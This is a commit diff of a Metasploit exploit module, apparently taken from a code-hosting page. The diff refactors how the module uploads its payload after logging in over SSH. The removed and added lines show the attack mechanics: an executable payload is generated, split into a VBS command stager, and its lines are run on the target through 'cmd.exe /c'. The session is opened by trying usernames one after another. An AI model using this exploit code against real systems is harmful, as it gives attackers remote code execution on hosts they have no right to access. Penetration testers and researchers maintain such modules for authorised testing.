@@ -9,7 +9,6 @@ class MetasploitModule < Msf::Exploit::Remote
9
9
Rank = ExcellentRanking
10
10
11
11
include Msf ::Exploit ::Remote ::Tcp
12
- include Msf ::Exploit ::EXE
13
12
include Msf ::Exploit ::CmdStager
14
13
15
14
def initialize ( info = { } )
@@ -81,24 +80,8 @@ def check
81
80
end
82
81
83
82
84
- def upload_payload ( connection )
85
- exe = generate_payload_exe
86
- filename = rand_text_alpha ( 8 ) + ".exe"
87
- cmdstager = Rex ::Exploitation ::CmdStagerVBS . new ( exe )
88
- opts = {
89
- :linemax => 1700 ,
90
- :decoder => default_decoder ( :vbs )
91
- }
92
-
93
- cmds = cmdstager . generate ( opts )
94
-
95
- if ( cmds . nil? or cmds . length < 1 )
96
- print_error ( "The command stager could not be generated" )
97
- raise ArgumentError
98
- end
99
- cmds . each { |cmd |
100
- connection . exec! ( "cmd.exe /c " +cmd )
101
- }
83
+ def execute_command ( cmd , opts = { } )
84
+ @connection . exec! ( "cmd.exe /c " +cmd )
102
85
end
103
86
104
87
def setup_ssh_options
@@ -168,18 +151,17 @@ def exploit
168
151
169
152
options = setup_ssh_options
170
153
171
- connection = nil
154
+ @ connection = nil
172
155
173
156
each_user do |username |
174
157
next if username . empty?
175
- connection = do_login ( username , options )
176
- break if connection
158
+ @ connection= do_login ( username , options )
159
+ break if @ connection
177
160
end
178
161
179
- if connection
162
+ if @ connection
180
163
print_status ( "Uploading payload, this may take several minutes..." )
181
- upload_payload ( connection )
182
- handler
164
+ execute_cmdstager ( flavor : :vbs , decoder : default_decoder ( :vbs ) , linemax : 1700 )
183
165
end
184
166
end
185
167
0 commit comments